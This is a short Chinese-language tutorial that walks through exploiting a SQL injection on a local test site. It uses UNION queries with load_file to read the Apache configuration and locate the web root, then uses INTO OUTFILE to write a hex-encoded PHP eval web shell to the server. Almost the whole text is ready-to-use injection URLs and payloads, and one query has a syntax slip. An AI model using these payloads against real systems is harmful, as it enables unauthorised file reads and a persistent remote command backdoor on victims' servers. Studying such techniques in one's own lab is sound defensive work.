首先我们的找到一个有注入的站：这里我用自己搭建的环境表示；大家不要乱来

http://localhost/pentest/sql/sql_injection_get.php?id=1

发现是root权限，我们尝试直接写马

首先要找到网站的主目录：

数据库目录：D:\wamp\bin\mysql\mysql5.5.20\data\

进行判断，服务器可能为wampserver简易版，httpd.conf文件在D:/wamp/bin/apache/Apache2.2.21/conf/httpd.conf

http://localhost/pentest/sql/sql_injection_get.php?id=1' and 1=2 union select 1,2,3 load_file('D:/wamp/bin/apache/Apache2.2.21/conf/httpd.conf') from user--+

如果这样不成功，建议将目录转换为hex编码进行：即 load_file(0x443A5C77616D705C62696E5C6170616368655C417061636865322E322E32315C636F6E665C68747470642E636F6E66)

找到了网站目录：D:/wamp/www

我们尝试写：

http://localhost/pentest/sql/sql_injection_get.php?id=1' and 1=2 union select 1,2,0x3C3F706870206576616C28245F504F53545B27636D64275D293B3F3E into outfile 'D:/wamp/www/xx.php' from user --+

<?php eval($_POST['cmd']);?>的hex编码：0x3C3F706870206576616C28245F504F53545B27636D64275D293B3F3E

然后访问：http://localhost/xx.php